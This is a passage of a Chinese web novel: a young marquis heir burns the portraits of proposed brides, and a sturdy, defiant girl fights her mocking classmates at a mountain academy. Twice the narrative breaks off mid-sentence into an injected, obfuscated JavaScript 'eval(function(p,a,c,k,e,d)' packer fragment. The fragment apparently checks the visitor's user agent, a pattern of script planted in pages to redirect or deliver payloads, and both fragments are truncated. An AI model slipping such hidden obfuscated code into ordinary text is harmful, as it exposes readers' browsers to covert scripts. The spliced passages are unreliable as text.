《风雨同舟渡山河》 1. 画像,逼婚 仲春雨后的京城,笼着一层朦胧的水汽,倒有几分江南意韵。 京城的花事渐盛,街上的行人如织,小贩的叫卖声在雨雾里飘摇,热闹非凡。 热闹之中,偏有一处宁静的府邸——宁安侯府。清风居的院子里,三棵海棠初绽,粉白的花瓣在细雨中微微颤动,像是含羞的少女不肯全开了心扉。 海棠花树下,一个十七岁的少年正舞动长枪。枪风过处,花瓣簌簌而落,落在他的肩头和枪尖,又旋即被劲风卷起,那长枪舞得虎虎生风,刚柔并济。 他的贴身随从招财站在廊下,看着自家主子的枪法,眼里满是敬佩。 他原本练的是霸王枪法,纯以力量取胜——那是战场上硬碰硬的功夫,讲究一力降十会。 可他觉得单凭力量远远不够,真正的杀招不在蛮力,而在虚实之间。于是他独自琢磨,将力量与技巧融为一炉,把霸王枪的刚猛化作虚实相生的巧劲,创出了一套避虚就实、更具杀伤力的枪法。 他素来向往西疆的大漠孤烟与长河落日,便把这套枪法命名为"落日枪法"——枪如其名,落日熔金,既有辉煌壮阔的气象,又暗含着一切终将沉入黑暗的悲凉。 少年名叫顾承宇,宁安侯爷的长子,也是独子,侯府名正言顺的继承人。他的名字里,"承"是承继先祖功业,"宇"是廓清寰宇,这两个字便是他一生的注脚——从出生那日起,他就不只是他自己。 身为继承人,身负家族重任,他自幼得宁安侯爷悉心教养,不仅读诗书、研兵法、学琴棋书画,更练就一身武艺。 他的童年没有寻常孩童的嬉闹玩乐,只有书房里背不完的典籍、校场上练不完的枪法。十二岁便随父上了战场,在边关的风沙里淬炼筋骨,十四岁能独领一支骑兵突袭敌营,十五岁已立下不少战功。 旁人说他是少年天才,却不知他双手的老茧磨了一层又一层,也不知他在多少个深夜独自一人对着沙盘推演阵法,直到天边泛起鱼肚白。 他生得有些奇特。分明是武将般强健的体魄,却长了一张书生般温润俊朗的面孔。尤其左眼角下那颗黑痣,仿佛星子坠落在眼角,让他仙姿玉色的面容里,隐隐透出几分说不清的魅惑。 若穿甲胄,便是少年将军的英武;若着青衫,便是书斋公子的风雅。这两种截然不同的气质在他身上奇妙地交融,让人一眼看去便挪不开目光。 这般品貌,放眼京城的少年郎里也是顶尖的。他出身显贵,学识渊博,武艺高强,相貌又堪称一绝,再加上少年成名,自然成了京城贵女们心中的如意郎君。 那些贵女的父母纷纷托人上门说媒,可他对京城的闺秀素无兴趣,加之一心扑在建功立业上,便一概坚决拒绝了。 在他心里,西疆的烽火未熄,边关的百姓尚未安居,他哪来的心思去谈什么儿女情长?他活在一个比京城任何贵女都更大的世界里,那个世界里是铁马冰河、黄沙落日,容不下脂粉与笙歌。 这可急坏了他的祖母顾老夫人和母亲顾大夫人。 海棠放放,香气氤氲。顾老夫人与顾大夫人在仆妇的簇拥下踏进了清风居。 顾老夫人年轻时也曾随夫征战,在边关的朔风里练就了一副刚烈的性子,如今年纪大了,鬓发染霜,眉眼间那股杀伐之气却犹未全消,只是目光落在孙儿身上时,便化作了融融的笑意。 顾老夫人看着舞动长枪的孙子,眼角的皱纹里全是笑意。眼前的长孙不过十七岁,便已立下军功,将来自当接下宁安侯爷的重担,带着侯府走向更好的前程。她这辈子最大的骄傲,就是看着顾家的根脉在军营里扎得越发坚实,在朝堂上立得越发挺拔。承宇这孩子,便是她心里侯府未来几十年的栋梁,她不能让他有任何闪失,也不能让他有任何耽搁。 顾大夫人看着儿子,也是一脸的欣慰。不过在她心里,儿子继不继承侯府倒不要紧,要紧的是他能一生安乐顺遂。她不像婆婆那样把侯府的重担挂在嘴边,她只记得承宇小时候发过一次高烧,她守了三天三夜没合眼,那时候她就想,什么功名利禄,都抵不上她儿子平平安安地活着。可她也知道,她这个儿子心里装着的,不是一个小小的侯府,而是一片很大的天地——大到她做母亲的,有时候都觉得够不着。 练到最后一招的顾承宇见祖母与母亲来了,当即收住招式,将长枪递给一旁的招财,快步走到二人跟前,恭敬地行了一礼,唤了声"见过祖母,见过母亲"。他行礼的姿态端正而克制,不疏离却也不亲昵,像一柄归鞘的剑,锋芒收敛了,但那股子硬朗还在骨子里撑着。 顾大夫人扶着顾老夫人在海棠花下坐了,老夫人身后的嬷嬷便将怀中抱着的几幅画像放到石桌上。 顾承宇为祖母和母亲各倒了一盏茶,双手奉上。 顾老夫人接过茶盏并未急着喝,只看着顾承宇道:"你已经十七岁了,不要总是想着练武读书,也该想想成家的事了。"她的声音里带着不容推拒的郑重,茶盏在她指间微微转动,像是在掂量着什么——对她而言,孙儿的婚事不是儿女情长,而是侯府基业的一部分,是整个棋盘上必须落下的一枚关键棋子。 顾承宇身量颀长,站在一旁,闻言垂首道:"祖母,西疆的敌人一日不灭,孙儿便一日不成亲。"他的声音不高,却透着一股不容置疑的笃定,每个字都像是钉进地里的桩子。 顾老夫人搁下茶盏,叹道:"愚昧。成亲与你建功立业并不矛盾。你父亲当年迎娶你母亲时,不也正是征战沙场的时候?家宅安宁,心才安定;心一安定,前方的仗才能打得更好。我呀,从京城的贵女中挑了几个好的,请画师画了像,你且看看,有没有中意的。" 顾大夫人顺势将画像展开,温声道:"承宇,你瞧瞧,这位是礼部尚书家的女儿,模样乖巧,人也聪慧。" 顾承宇淡淡扫了一眼画像,只道:"不喜欢。"他的目光只在画像上停了一瞬,那眼神不像是在看一个女子,倒像是在审视一份无关紧要的公文,看完便翻过去了。 顾大夫人又展开几幅,顾承宇看都没看,便直接说不喜欢。那些画像上的女子,或端庄,或妩媚,或清秀,或艳丽,可在他眼里,都只是纸上的人,是别人替他挑选的筹码,与他毫无关系。他心里的那个影子,连他自己都说不清楚是什么模样,但他知道,绝不是画上的任何一个。 顾老夫人见状,亲自展开最后一幅画像,道:"这位是翰林学士宋大人家的大姑娘,名唤玉章,今年十五。人生得花容月貌,温顺端庄,又知书达礼,家风清正,教养极好,实在是个当家主母的好人选。"老夫人的语气里带着志在必得的笃定——这宋家姑娘,是她在京城贵女中反复比较、反复斟酌后选定的人,无论家世、品貌、才学,都无可挑剔。 顾承宇听说是宋家大姑娘,便抬眼仔细看了看画像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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顾承宇立在海棠花下,面色平静。他目送祖母和母亲离开,目光里没有愧疚,也没有动摇,只有一种深入骨髓的笃定。他知道她们是为他好,可他有自己的路要走。那是一条比侯府更大的路,通向的不是京城的高门大院,而是边关的落日与长河。在那条路上,他还没有找到可以同行的人,也不打算将就。 廊下的海棠花瓣被风吹落了几片,落在石桌上那些散开的画像旁,像是一声无声的叹息。 顾承宇转身对招财道:"把这些画像化为灰烬。"话未说完,人已转身踏进书房,坐到案前,手中拿起兵书,将棋盘当作沙盘,开始推演起战场上的阵法来。 招财应了一声,手脚麻利地将画像尽数收起,快步走到院子角落,取出火折子一打。 火苗舔上纸卷,那些贵女的容貌便在袅袅轻烟里化为了灰烬。轻烟散入海棠花间,散入春日里,像是从未存在过一般。 而书房里的顾承宇,已经在棋盘上布下了一处伏兵,他的目光越过棋子,落向了很远的地方——那里有他向往的大漠孤烟,有长河落日,有他尚未遇见的、能与他并肩同行的那个人。 黑白棋子在棋盘上无声地排兵布阵,他的眉峰微蹙,眼神专注,仿佛方才那场祖孙之间的交锋不过是一阵穿堂的风,吹过去了,便不再留痕。 那些被拒绝的贵女,那些被烧掉的画像,那些祖母的愤怒和母亲的无奈,都被他轻轻地搁在了门外——搁在了与他无关的另一个世界里。 2. 绿林深处,青山书院 京城外的青山书院,便藏在这如江南烟雨的深处。 背靠青黛色的山峦,前临蜿蜒的绿水,白墙黛瓦在云雾中若隐若现,恍若水墨画卷里一笔恰到好处的留白——多一分则显,少一分则空,恰如圣人所说的"过犹不及"。 山脚下的十里桃林开得正盛。粉瓣沾着雨珠,簌簌落在青石板路上,远望去如云蒸霞蔚,近看则似胭脂凝露,连空气都浸着甜香。 岸边的垂柳新抽了绿芽,柳丝垂落如帘,沾着雨雾轻轻摇曳,风过时,绿烟般的枝条拂过水面,惊起圈圈涟漪,像是谁在碧水上写下了一首无字的诗。 书院后崖有悬泉瀑布,水流从青灰色的岩壁间飞泻而下,银练般砸在青石潭中,溅起的水雾混着雨气,在阳光下晕出淡淡的虹影。 水声轰鸣却不喧嚣,与林间的鸟鸣、书院飘出的墨香、偶尔传来的读书声交织在一起,竟奇异地达成了某种和谐——仿佛天地万物都在各自的声部里,共同唱着一支温润的歌谣。 此时若站在书院的观景台上,便可见烟雨锁青山,红雾笼桃林,绿烟拂碧水,飞瀑映虹光,天地间一片温润。这山水、花柳、书声,都浸在春韵里,静谧又鲜活,像是造物主特地留给人间的一处安放灵魂的所在。 白墙黛瓦的书院内,几株梧桐疏影横斜,晴光透过叶隙洒下满地的碎银。那光斑随着叶子的摇曳而轻轻晃动,落在青砖地面上,落在学子的书案上,落在先生们的肩头,像是天地随手洒下的一把铜钱,买下了人间最安静的一段时光。 东院学堂里,青山书院最年轻的先生王修安端坐于讲案前,手持朱笔在书卷上圈点,正讲解《论语》"学而时习之"章,声音清润,如泉水击石,又如春风拂过竹林,不疾不徐,却字字入心。 阶下三十余位学子,清一色青布襕衫,皆敛声屏气,腰背挺直如松。前排一个十七岁的少年忽起身拱手,是宋行简:"先生,若遇不义之事,当以直报怨,还是以德报怨?" 这一问来得突然,满堂的安静被轻轻划开了一道口子。学子们的目光纷纷投向宋行简,又转向王修安,等着看这位年轻先生如何应对。 王修安沉吟片刻,朗声笑道:"以德报怨,何以报德?当以直报怨,以德报德。"那笑声不是轻浮的欢快,而是一种拨云见日的明朗。说罢将朱笔递给少年,"你且在《里仁》篇中寻一寻答案。" 宋行简接过笔,眉峰微蹙,在书卷上细细勾画。那支笔在他指间微微转动,像是在掂量什么——他不是在寻答案,而是在寻答案背后的那个"理"。 王修安是山长王谦的独子。天资聪颖,又得学识渊博的父亲悉心栽培,十四岁便名满京城,成了有名的才子。诗词歌赋、琴棋书画样样精通,却从不以此自炫。旁人夸他才高八斗,他只淡淡一笑,说不过是"读了几本书罢了"——这不是谦辞,而是他真心觉得,在学问面前,自己永远只是那个在河边戏水的孩童。 他生得有些特别。眉、眼、鼻、唇,单看都不算出众,可合在一处,便生出一种说不清道不明的风骨来。不是武将的英气逼人,也不是商人的精明外露,而是一种沉淀在骨子里的、从诗书中浸润出来的儒雅。 如今二十有一,一心埋在书堆里,尚未成家。王谦为他说了无数门亲事,他都婉言谢绝,急得王谦看在眼里,愁在心里。旁人说他眼界高,他说不是眼界高,是心里自有一把尺——这把尺量的不是门第,不是容貌,而是一个人的"分量"。这个分量,与才学有关,与性情有关,更与一个女子面对这个世界时的风骨有关。 人皆有七情六欲,男欢女爱本是天道。 王修安不是不想成家,只是还没遇见想娶的那个人。京城的贵女他见过不少——有的美则美矣,却少了灵魂,谈诗论画时眼中无光,只会附和,不会思考,如精致的木偶,美得无可挑剔,却永远说不出让人心动的话;有的因宅门复杂,早早练就了一副算计心肠,未出阁便满腹筹谋,眼睛里装的不是明月清风,而是利弊得失,像一盘永远在下却永远不分胜负的棋;还有的被娇宠过了头,走到哪里都一副盛气凌人的姿态,仿佛世间欠她们一个俯首称臣。 他一个也看不上。他想要的,是一个能与他在月下对酌、在花前论道的人,是一个能在诗书里找到共鸣、在山水间找到默契的灵魂。他在想,他这辈子都不会遇上这样的人了。 窗外鸟鸣渐起时,另有几位先生散坐于廊下,各自指点着围坐的学子,案上摊开的书页间批注密密麻麻。那些批注有的是蝇头小楷,端正工整,像是先生们把学问一刀一刀刻进了纸里;有的龙飞凤舞,气势淋漓,像是墨迹里还带着争辩时的呼吸。 忽闻东厢房传来争执声,原是两位学子为"民可使由之"的句读争得面红耳赤。一个说"民可使由之,不可使知之",是圣人对百姓的体恤;另一个说"民可,使由之;不可,使知之",是圣人对教化的期许。灰布襕衫的先生却抚掌而笑:"辨得好!且将各自见解写来,让笔墨替你们分个高下。"他没有给出答案,因为真正的学问不在答案里,而在追问的路上。 日影移过雕花窗棂,砚台里的墨泛着微光。有学子起身研墨,青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他不仅是青山书院的山长,还是皇宫里皇子们的先生,肩上扛着宁国的未来。 旁人看他风光无限,却不知他每日三省:一省学问是否有进,二省子弟是否有长,三省天下是否有道。 这三省,比任何朝堂上的奏对都更让他殚精竭虑。他教皇子们治国平天下的道理,教皇子们运筹帷幄决胜千里之外,心里却明白,真正能改变这个世道的,不是宫墙里的几堂课,而是这片书院里每一个寻常晨光中,那些被书声浸润的少年意气——他们才是宁国真正的根基,是这片土地上未来会发芽的种子。 3. 大混世魔王,小混世魔王 青山书院西院的学堂与东面截然不同。东面是一群十五六岁的少年郎,一个个意气风发,目光里装着功名与前程,装的天下大势和宁国的锦绣前程;而西院,则是一群九岁到十一二岁的孩童,懵懵懂懂,闹闹哄哄,像一锅永远烧不开却永远在冒泡的水。 这些孩童里有男有女,皆是京城达官贵人家的公子与千金。他们的父辈或同朝为官,或沙场并肩,或政见相左,而这些盘根错节的关系,也随着孩子们一同被送进了书院。 这些达官贵人将自家孩子送到青山书院,不为别的,只因这里拥有一位德高望重、学富五车、有教无类的王谦山长。 在他们心里,王谦山长是一块磨刀石,再顽劣的孩子交到他手里,也总有一天会被磨出光亮来。 更何况,书院里还有那位须发全白的余老先生——他在青山书院教了半辈子书,什么样的孩子都见过,从王公贵族到寒门子弟,从乖巧伶俐到顽劣不堪,他的戒尺打断过不知多少根,却从不曾放弃过任何一个学生。 而在这一群孩童之中,有一个人,格外引人注目。 她叫宋含章,翰林学士宋四维的二女儿,今年不过十岁。她的名字"含章",取自《易经》"含章可贞",意为怀藏美质而不显露。 可这名字放在她身上,却像是一个美丽的误会——她从来不知道什么叫"不显露"。身形壮得像一头小牛,圆滚滚的,往人堆里一站,便如一座小山,光是影子就能遮住两三个孩子。 她走起路来虎虎生风,说起话来中气十足,笑起来能把屋檐上的灰震下来。她出生于书香门第,宋家的书房里四壁皆书,她的父亲是当朝翰林,姐姐宋玉章是京城出了名的才女,温婉端庄,知书达礼,是画在画像上让各家争相求娶的佳人典范。 偏偏宋含章不像这个家里走出来的孩子——她不喜欢风花雪月、文绉绉的诗词歌赋,却喜欢读兵书和墨家机关道,常常抱着一本《孙子兵法》看得入迷,读到"其疾如风,其徐如林,侵掠如火,不动如山"时,她的眼睛会亮起来,仿佛那不是冷冰冰的文字,而是一扇通往另一个世界的门。她还会拿着锯子、刨子、木头、零件自己琢磨机关,拆了装,装了拆,手指被划破了也不肯停手。 性子倔得像块石头,又硬又烈。她父亲宋四维每次试图规劝她读读《女诫》《女训》,她就把书往桌上一摔,说"这书里写的都是叫女人认命的东西,就是打死我,我也不读"。 这句话能把宋四维气得抚胸长叹,对着老友自嘲道:"我宋家世代读书,怎么就出了个女将军?" 宋夫人更是无奈,教她女工、作画、抚琴,她一概不学,还把那些针线、画笔和琴扔进火坑。宋夫人是打也打了,骂也骂了,她咬着牙一声不吭,第二天照样翻墙出去找铁匠铺子看铁匠打铁、去京城张木匠店铺和翻腾硝石。 宋四维与夫人实在没有办法,易子而教,便把她送到了青山书院,指望王谦山长和余老先生能降住这匹脱缰的小野马。 可到了书院,宋含章的日子并不好过。 在以瘦为美的京城,在以柔弱为德的闺秀圈里,她的存在本身就是一种冒犯。 孩童的世界往往比成人的世界更残忍——成人至少懂得遮掩自己的恶意,而孩童的恶意是赤裸的、直接的、不加任何修饰的。 在书院里,她成了经常被其他孩童取笑和讽刺的对象。在京城的街道上,她是回头率最高的那一个。 那些锦衣玉食的公子千金们,拿她的身形开玩笑,编顺口溜,起绰号,学她走路的样子,在她身后夸张地模仿她弯腰捡东西的姿势,然后哄堂大笑。 可她从不哭泣,也从不告状。眼泪是流给心疼你的人看的,在一个没有人会心疼她的世界里,流眼泪不过是在自己的伤口上撒一把盐。她用另一种方式回应这个世界—— 她反抗。 不是抡起拳头打,就是把人抓起来扔到树上;不是把人举起来扔进荷花池里,就是把人坐在屁股下面让人喘不过气来。 她出手又快又狠,毫不讲道理——因为这个世界对她也从来没有讲过道理。书院里那些讽刺戏弄过她的孩子,都被她打过不知多少遍。 可这些孩子好了伤疤忘了疼,又菜又爱玩,明知道打不过她,偏要去招惹,被揍得鼻青脸肿消停两天,又忍不住凑上来挑衅。不断的讽刺,不断的戏弄,不断的挑衅,宋含章便不断的反抗。于是,她得了一个名号——"大混世魔王"。 这个名号传遍了书院,传遍了京城,甚至传到了宫里,连皇帝箫衡都听说过,在御书房里批折子时忽然抬头问了一句:"宋家那个能打架的胖丫头,最近又把谁打了?" 太监忍着笑禀报之后,皇帝哈哈大笑,说:"宋家这个二姑娘,有几分意思。可惜不是个男孩,不然朕的边关又多一员虎将。" 在这群孩童之中,也有几个与她有着特殊的纠葛。这些纠葛,有的化成了仇怨,有的化成了惺惺相惜,有的,则在多年之后化成了谁也说不清道不明的牵绊。 顾子衿,今年十岁,宁安侯爷唯一的女儿,也是宁安侯府的嫡女。 她与兄长顾承宇截然不同——兄长习武修文,她习文;兄长向往边关的大漠孤烟,她沉醉于诗词里的月下花前。她不喜欢舞刀弄枪,偏偏喜欢诗词歌赋、四书五经,尤其嗜医书如命,小小年纪便在书海里养出了一身沉静的气度。 除了在青山书院念书,她还跟着宫中的林太医学习医术,望闻问切、辨证施治,已经有模有样,连林太医都夸她"有医者仁心,更有医者慧眼"。 她是唯一一个从未取笑过宋含章的人。不是因为同情,而是因为她从书里读到了一个道理——世间万物,各有其态,正如花有肥瘦、木有曲直,谁规定了花朵必须纤细才算美?在宋含章被辱骂时,她总是站出来,用她平静而笃定的声音说:"你们笑她的样子,远不如她揍你们的样子好看。" 她护着宋含章,不是因为宋含章弱小——恰恰相反,宋含章是她见过最强大的人——而是因为她觉得,一个人被一群人围着嘲笑,本身就是一件不公的事。 宋含章因此很喜欢她,那种喜欢是笨拙的、毫无保留的——谁要是敢欺负顾子衿,她第一个冲上去,宋含章往顾子衿身边一站,就像一堵肉墙,连一只苍蝇都不敢飞过来。 顾承泽,宁安侯府二房长子,十一岁。他父亲顾二爷与侯爷一同镇守西疆,他母亲便总在要求他向顾承宇看齐,出人头地。 可一个十一岁的孩子哪里懂得什么叫"出人头地"?他只学会了把不满和嫉妒转移到别人身上。他是经常嘲笑宋含章的人之一,嘴巴刁钻,最会编歪诗,每次都在学舍里当着众人的面念那些编排宋含章的顺口溜,念完了还得意洋洋地环顾四周,等着众人喝彩。 他不仅经常被宋含章踢屁股,还在一个春寒料峭的时节,被宋含章举起来扔进了荷花池里。那池水还带着残冬的寒意,冰冷刺骨,他被捞上来时嘴唇青紫,牙齿打颤,整个人缩成一团。 回去后发了三天三夜的高烧,迷迷糊糊中说了无数胡话,把顾家二房上下吓得半死。 顾二夫人哭天喊地要去找宋家讨个说法,却被顾老夫人压了下来——"是你儿子先笑话人家的,技不如人挨了打,还有脸去讨说法?" 从此顾承泽在宋含章面前收敛了许多,至少不敢当面放肆了。但在心里,那笔账他一直记着,每次看见宋含章从面前走过,他都会低下头,目光里藏着不甘和畏惧。 顾子佩,宁安侯府二房的长女,顾承泽的亲妹妹,今年九岁。她性子活泼,却生得不乖巧,嘴皮子比哥哥还快,从小跟在哥哥身后当应声虫,哥哥说什么她就学什么。 她经常跟着哥哥一起嘲笑辱骂宋含章,而且专挑最毒的话说——"你这样胖,将来谁敢娶你""你姐姐那么好看,你怎么就长成这样",这些话她不知道从哪里学来的,说得又快又狠,像一把把小刀子。 她不仅被宋含章踢过屁股,还被宋含章坐了一回椅子——那一坐,宋含章把她压在屁股底下整整三个时辰,等她被人发现时,脸都白了,缓过气来后趴在床上哭了整整一天。 顾二夫人气得浑身发抖,可一听说是女儿先骂人,又是理亏。事后顾子佩看见宋含章绕着走,可嘴巴还是没改——只是学会了在说之前先看看四周有没有那座小山的影子。 曾思雨,靖王爷的女儿,九岁。因为靖王爷是手握京畿重兵的王爷,连皇帝都要倚重三分,她自小便在王府中被众人捧着,丫鬟婆子见了她都要弯腰,她以为自己天生就该被人仰视。性子高傲,走到哪里都昂着头,时常带着一帮人嘲讽戏弄宋含章。 在她看来,嘲笑一个比自己弱的人是特权,是身份的象征。她以为凭她的身份,没有人敢动她。 宋含章才不管她是谁的女儿——在她的世界里,拳头面前人人平等。她不仅踢曾思雨的屁股,还常常把她拎起来扔到树上挂一个时辰,让她抱着树枝哇哇大哭,底下的丫鬟婆子急得团团转却又不敢爬树。 有一回甚至把一只活青蛙塞进了她的嘴巴里,曾思雨吓得连做了三夜噩梦,醒来时还在尖叫。可她偏偏不改,每次被整了之后消停几日,便又带着一帮人卷土重来,像是这场较量已经变成了某种她不能认输的比赛——她是靖王爷的女儿,她不能在任何人面前低头,尤其是不能在宋含章面前低头。 钟荀彧,十一岁,户部尚书钟廷的儿子。这个出身富贵的公子哥,锦衣玉食养出了一身骄气,肚腩也不小,却偏偏最爱嘲笑宋含章的身材,骂她"肥猪",骂她"丑八怪",仿佛把自己身上的缺陷投射到别人身上,就能让自己显得更加优越。 他也是经常带头讽刺嘲笑宋含章的人,一张嘴皮子又碎又毒。当然,他也经常被宋含章打,打得最惨的一次,鼻血流了一整条手帕,回家后钟夫人心疼得直掉眼泪,扬言要去找宋家算账。 可钟廷却把儿子叫到书房里,板着脸说:"打得好。你从小锦衣玉食,不知道什么叫分寸,不知道什么叫尊重,这回让人打醒了,是你的福气。去,明天给她带一盒点心,赔个不是。"钟荀彧委屈得眼眶发红,第二天还是磨磨蹭蹭地把点心放在了宋含章的桌上,一句话没说就跑了。 沈十安,十一岁,沈国公的孙子,也是宋含章从小定下亲事的未婚夫。这桩婚事是两家祖父辈定下的,那时两家关系亲密,两个老人酒后兴起,指着两个襁褓中的婴孩便订了这门亲。谁也没有料到,十年后,这门亲事会变成京城里的一桩笑话。 沈十安对宋含章完全是厌恶——厌恶她的胖,厌恶她的粗鲁,厌恶她让他沦为京城子弟口中的笑柄。他在学堂里被同伴们起哄"沈十安的新娘子是大混世魔王",每一次起哄都像是一记耳光甩在他脸上。 他不敢反抗那些嘲笑他的人,便把所有的恨意都转到了宋含章身上。他不仅经常参与嘲讽宋含章,还公然扬言要退婚,这话他已经说了不下百遍,每次都当着宋含章的面说,声音越来越大,底气却越来越不足。 有一回他说得太过分了,当着满院学子的面骂她是"永远嫁不出去的肥猪",宋含章一拳挥过去,把他的一颗大牙都打掉了。那颗牙齿落在青石板上的声音,清脆而决绝,所有人都愣住了,连宋含章自己都愣了一下。沈十安捂着满嘴的血,哇哇大哭,从此看见宋含章就躲,只在背后嚼舌根。 可奇怪的是,他虽然在嘴上说着退婚,却始终没有让家里真正去宋家退这门亲——也许是害怕祖母的责罚,也许是在他内心深处,有一个他不愿意承认的声音:她那么强大,强大到让他恨得牙痒痒,却也让他隐隐有了一种扭曲的骄傲——至少,他的未婚妻不是那种只会哭哭啼啼的软弱女子。 霍凌霜,威震将军、三朝元老霍擎苍的孙女,今年十岁。她与旁人不同,从不嘲笑辱骂宋含章。在她眼里,嘲笑别人的外貌是懦夫的行径,是拳头不够硬的人才用的下三滥手段。 她生得俊俏,骨子里带着一股不服输的狠劲,从小跟着父亲霍威在在北疆军营里摸爬滚打,练了一身硬功夫,能和营里的新兵过招而不落下风 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当宋含章下手重了时,他同样会训斥她,罚她抄《弟子规》,可看着她咬着笔杆地写字,写出来的字端端正正,他又忍不住心软——这孩子不是坏,是委屈太久了。 一个人被整个世界嘲笑,如果她不反击,她就会被吞掉。余老先生懂这个道理,所以他罚她,却从不讨厌她。 他最怕宋含章与霍凌霜打架。这两个人一旦动手,如同两头牯牛相见,不分出胜负绝对不会停手。哪怕是王谦山长亲自来了,两人依旧拼死搏斗,大有一股要把对方撂倒才肯罢休的劲头。 有一回王谦山长站在两人面前,两个女孩同时住了手——不是因为怕,是因为她们都尊重这位老先生。可等王谦山长一转身,她们又打了起来。余老先生曾感叹:"这两孩子若生在乱世,怕都是能上战场的人;可生在太平盛世,我这把老骨头就遭殃了。" 因为两人一见面就打,她们不仅成了书院的名人,更成了整个京城的名人。京城百姓茶余饭后,总要拿这两位"混世魔王"的事迹来做谈资——今天谁赢了,明天谁被打得鼻青脸肿还咬着牙站起来,连街头的说书人都把她们的"交锋"编成了段子在茶馆里讲,讲得唾沫横飞,听众拍案叫绝。 有人说宋含章天生神力,有人说霍凌霜身法如电,还有人说她们迟早有一天会打出人命来。 可有一件事,让所有人都觉得不可思议——两人虽然打架,而且打得凶狠,可霍家和宋家之间的关系并没有因此受到任何影响,还是照常往来。 霍擎苍与宋四维同朝为官,私下也是忘年交,两家逢年过节照样走动,大人们在堂前把酒言欢,谈论朝政与诗文,仿佛两个女孩子之间的那些厮杀都不曾发生过。 有一回霍擎苍来宋家做客,正撞见霍凌霜和宋含章在院子里打得尘土飞扬,两个女孩子都挂了彩,霍凌霜嘴角渗血,宋含章眼角青紫。 他看了一眼,端起酒杯对宋四维说:"四维啊,你家这丫头,将来必成大器。"宋四维苦笑道:"我只怕她还没成大器,先把我这把骨头拆了。" 霍擎苍哈哈大笑:"那也不错,说明咱两家不用兵戎相见,孩子们自己就把仗打了。你们在朝堂上打嘴仗,她们在院子里打肉仗,我看她们比我们更痛快。" 这番对话传到书院,余老先生捻着白须,站在西面学舍的廊下,看着远处操场上又扭打在一起的两个女孩子,若有所思。春日的光照在她们身上,把她们的影子拉得很长,纠缠在一起,分不出彼此。 他教书育人一辈子,最明白一个道理:孩童的打架不过是情绪的释放,是生命在寻找边界,在试探这个世界能容忍自己到什么程度。而世家的交情,却是岁月沉淀的信任,是成年人之间经过利益和情谊反复较量后达成的平衡。 这两个女孩子在旁人眼中是水火不容的混世魔王,可在他眼中,她们不过是尚未学会与这个世界相处的孩子——有力气,有脾气,也有义气,只是还没找到正确的出口。 她们的打架不是为了伤害对方,而是在用一种笨拙的方式确认自己的存在,确认自己不是这个世界上最孤独的那个人。 而那些嘲笑宋含章的孩子们,他们也不是天生的恶人。他们只是把从大人那里学来的偏见,原封不动地搬到了孩子之间的交往里。 他们嘲笑她胖,是因为这个世道告诉所有人,女子就应该纤细柔弱;他们嘲笑她粗鲁,是因为这个世道告诉所有人,女子就应该温顺乖巧。他们不过是这个世道的回声, 而宋含章,是在用拳头砸碎这一面面回声的镜子——每一拳打出去,打的都不只是那些嘲笑她的孩子,更是这个容不下她的世道。 而这,正是书院的意义所在。教一个聪明的孩子读书并不难,难的是教一个倔强的孩子如何把自己的倔强变成力量而不是戾气,教一群傲慢的孩子如何看见别人的尊严,教那些被偏见蒙蔽的眼睛如何重新认识这个世界的参差百态。 书院不是要把所有的树都修剪成同一种形状,而是要让每一棵树都找到自己的姿态,同时又懂得与旁边的树保持恰当的距离——既不互相遮蔽,也不互相伤害。 当然,这条路还很长。此刻的西面学舍里,宋含章正瞪着霍凌霜,霍凌霜也瞪着宋含章,两个女孩子的目光在空气中碰撞,擦出了看不见的火花。 旁边的孩子们自动后退了三步,有人开始小声下注"这次大魔王赢还是小魔王赢",余老先生已经快步朝两人中间走去,戒尺紧紧攥在手里,嘴里念念有词:"祖宗们,求求你们今天消停一天——" 话音未落,两个女孩子已经扑向了对方。 余老先生闭上眼,深深吸了一口气。春日的阳光照在他花白的须发上,他站在一片狼藉的操场上,觉得自己不像个先生,倒像个老农——辛辛苦苦种了一园子的苗,不知道将来会长成什么,但每一棵,他都舍不得放弃。 有时候,宋含章与霍凌霜打起来,他不劝阻,干脆坐在一旁,看着两人打…… 4. 以德报怨,以直报怨 晨钟暮鼓,青山书院散学的时辰到了。 钟声从书院钟楼悠悠荡开,掠过黛色瓦当,掠过桃林与柳岸,传向山脚下的官道。东院学堂的少年郎们整理好笔墨纸砚,将案上的书卷归置整齐,砚台里未干的墨泛着最后一缕微光。 他们与先生恭敬作揖告别,步履从容地踏出学堂。有人登上等候已久的马车,有人则结伴走回书院后方的学舍,三三两两散在暮色里,仍在低声议论着方才课堂上未竟的辩题。 西院学堂则完全是另一番景象。那些九岁到十一二岁的稚童们,也与余老先生恭敬告别——不过那恭敬只维持到踏出学舍门之前。门一推开,他们便如出笼的鸟儿,呼啦啦地飞出学舍,飞出青山书院。尖叫声、笑闹声、脚步声搅在一起,把书院安静了一整天的空气搅得沸沸扬扬。 每一次散学,宋含章与霍凌霜都要比试速度——谁更快飞出书院大门。这成了她们之间无数场较量中的固定较量。 这一回,宋含章仗着身形壮实冲劲猛,抢先一步冲出了书院大门,脚步踏在青石板上震得地面微微发颤。她转身看着落后的霍凌霜,圆滚滚的脸上浮起得意的笑,那笑容在夕阳里格外灿烂,像是赢了一场了不起的大仗。 书院门口,各家府上的仆人和马车早已排成了长队,等着接自家的小主人回府。马儿打着响鼻,车夫们互相打着招呼,有几个相熟的仆人凑在一起低声交换着各府里的新鲜事。 霍凌霜紧跟着冲出书院大门,看到宋含章早已插着腰站在那里,脸上那股得意劲儿还没散尽。她输了速度,心里正窝着一团火,冲到宋含章面前,也不废话,昂着下巴道:"明日比试抓蛇,把蛇开膛破肚,生吃蛇胆——你敢不敢?" 宋含章双手抱胸,连眼皮都没眨一下:"谁不敢,谁就是王八。" 霍凌霜见她应得干脆,冷笑一声,那笑容里带着三分不服、七分兴奋,昂起头便踏上了自家马车。 